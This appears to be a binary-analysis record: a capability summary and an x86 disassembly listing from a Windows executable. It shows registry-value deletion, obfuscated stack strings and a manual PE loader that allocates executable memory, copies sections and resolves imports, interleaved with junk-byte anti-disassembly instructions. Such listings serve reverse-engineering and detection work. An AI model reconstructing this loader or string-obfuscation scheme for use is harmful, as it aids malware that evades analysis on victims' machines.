Function at 0x403da0
Capabilities:
Contain obfuscated stackstrings
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c64e
mov eax, dword fs:[0]
push eax
mov eax, 0x456c
call fcn.00406cd0
mov eax, dword [0x41112c]
xor eax, ebp
mov dword [ebp - 0x2c], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4578], ecx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x4578]
call fcn.00402fc0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x403e40
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2270], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404a70
mov eax, dword [ebp - 0x2270]
jmp 0x40479b
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7d
je 0x40477d
mov dword [ebp - 0x10], 1
mov edx, dword [str.Delete]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 0x238], eax
mov ecx, dword [str.ForceRemove]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x403e96
cmp dword [ebp - 0x238], 0
je 0x4040d7
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4578]
call fcn.00402fc0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x403eb3
jmp 0x40477d
cmp dword [ebp + 0x10], 0
je 0x4040d7
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x22cc], ecx
mov dword [ebp - 0x22c8], 0
cmp dword [ebp - 0x22cc], 0
jne 0x403f07
mov dword [ebp - 0x22d0], 0
jmp 0x403f58
mov edx, dword [ebp - 0x22cc]
movzx eax, word [edx]
test eax, eax
je 0x403f4c
mov ecx, dword [ebp - 0x22cc]
movzx edx, word [ecx]
mov eax, 0x5c
movzx ecx, ax
cmp edx, ecx
jne 0x403f37
mov edx, dword [ebp - 0x22cc]
mov dword [ebp - 0x22c8], edx
jmp 0x403f4c
mov eax, dword [ebp - 0x22cc]
push eax
call dword [sym.imp.USER32.dll_CharNextW]
mov dword [ebp - 0x22cc], eax
jmp 0x403f07
mov ecx, dword [ebp - 0x22c8]
mov dword [ebp - 0x22d0], ecx
cmp dword [ebp - 0x22d0], 0
je 0x403f94
mov dword [ebp - 0x2274], 0x80020009
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.00404a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404a70
mov eax, dword [ebp - 0x2274]
jmp 0x40479b
mov dword [ebp - 0x22d4], 0
jmp 0x403faf
mov edx, dword [ebp - 0x22d4]
add edx, 1
mov dword [ebp - 0x22d4], edx
cmp dword [ebp - 0x22d4], 0xc
jge 0x403fe2
mov eax, dword [ebp - 0x22d4]
mov ecx, dword [eax*4 + 0x40d32c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x403fe0
mov dword [ebp - 0x22d8], 0
jmp 0x403fec
jmp 0x403fa0
mov dword [ebp - 0x22d8], 1
cmp dword [ebp - 0x22d8], 0
je 0x404053
xor eax, eax
jne 0x403ff5
xor ecx, ecx
jne 0x403ff5
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x244]
call fcn.00404da0
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x2508], ecx
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
cmp dword [ebp - 0x238], 0
je 0x4040c8
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x4578]
call fcn.00402fc0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x404088
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.00404a70
jmp 0x40477d
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4578]
call fcn.004058d0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x4040b4
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.00404a70
jmp 0x40477d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.00404a70
jmp 0x40471a
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.00404a70
mov ecx, dword [str.NoRemove]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x404110
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x4578]
call fcn.00402fc0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x404110
jmp 0x40477d
mov ecx, dword [0x40d31c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40436a
lea eax, [ebp - 0x2244]
push eax
mov ecx, dword [ebp - 0x4578]
call fcn.00402fc0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x404149
jmp 0x40477d
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x4578]
call fcn.00402fc0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jge 0x404166
jmp 0x40477d
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x3d
je 0x404195
mov dword [ebp - 0x2278], 0x80020009
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404a70
mov eax, dword [ebp - 0x2278]
jmp 0x40479b
cmp dword [ebp + 0x10], 0
je 0x404281
mov dword [ebp - 0x2250], 0
mov dword [ebp - 0x224c], 0
mov dword [ebp - 0x2248], 0
mov byte [ebp - 4], 2
xor ecx, ecx
jne 0x4041c1
xor edx, edx
jne 0x4041c1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2250], eax
mov dword [ebp - 0x224c], 0
mov dword [ebp - 0x2248], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x2244]
push edx
lea eax, [ebp - 0x2250]
push eax
mov ecx, dword [ebp - 0x4578]
call fcn.00404fb0
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x2250]
mov dword [ebp - 0x4568], ecx
mov dword [ebp - 0x2250], 0
mov dword [ebp - 0x224c], 0
mov dword [ebp - 0x2248], 0
cmp dword [ebp - 0x28], 0
jge 0x404268
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x227c], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2250]
call fcn.00404a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404a70
mov eax, dword [ebp - 0x227c]
jmp 0x40479b
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2250]
call fcn.00404a70
jmp 0x40471a
cmp dword [ebp + 0x14], 0
jne 0x404348
cmp dword [ebp - 0x10], 0
je 0x404348
mov dword [ebp - 0x225c], 0
mov dword [ebp - 0x2258], 0
mov dword [ebp - 0x2254], 0
push 0x20006
push 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x225c]
call fcn.00404c40
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40431e
xor ecx, ecx
jne 0x4042d2
xor edx, edx
jne 0x4042d2
lea eax, [ebp - 0x2244]
push eax
mov ecx, dword [ebp - 0x225c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40431c
cmp dword [ebp - 0x20], 2
je 0x40431c
mov edx, dword [ebp - 0x20]
push edx
call 0x404870
add esp, 4
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x225c]
call fcn.00404a70
jmp 0x40477d
jmp 0x40433d
mov eax, dword [ebp - 0x20]
push eax
call 0x404870
add esp, 4
mov dword [ebp - 0x28], eax
fld dword [ebx - 0x5b0cfc1f]
xor eax, eax
jmp 0x404377
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret
call fcn.004043bc
mov dword [edx + 0x13], ebp
popfd
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.004043cc
push eax
push esi
push dword [ebp + 8]
call fcn.00404381
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004043cc
push eax
push esi
push dword [ebp + 8]
call fcn.00404381
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004043cc
push eax
push esi
push dword [ebp + 8]
call fcn.00404381
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004043bc
cld
cmc
cmp cl, dl
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.004043bc
adc byte [ebp + 0x12], 0x1b
lea eax, [ebp - 0x84]
push eax
call fcn.004043cc
push eax
push esi
push dword [ebp + 8]
call fcn.00404381
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x404bb5
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0040432d
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x40492c
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.0040432d
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x4048f9
call fcn.004043bc
out dx, al
loopne 0x4048f4
inc eax
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x404bab
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x404961
cmp dword [eax + 0xc], ebx
je 0x404a04
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.004043bc
in eax, 0xc6
inc edi
in eax, dx
cmp dword [ebp + 0xc], ebx
jne 0x404990
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x404bab
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x4049a4
mov dword [ebp + 0x10], edi
jmp 0x4049a9
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.004043bc
add eax, 0x8bf85c40
inc ebp
adc byte [ebx + 0x74c33b00], cl
aaa
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x4049f2
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x4049cd
and eax, 0xffff
push eax
jmp 0x4049d1
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404381
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x404bab
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x4049b2
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x404953
call fcn.004043bc
pop dword [ecx - 0x78745639]
mov al, byte [0x3b000000]
ret
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret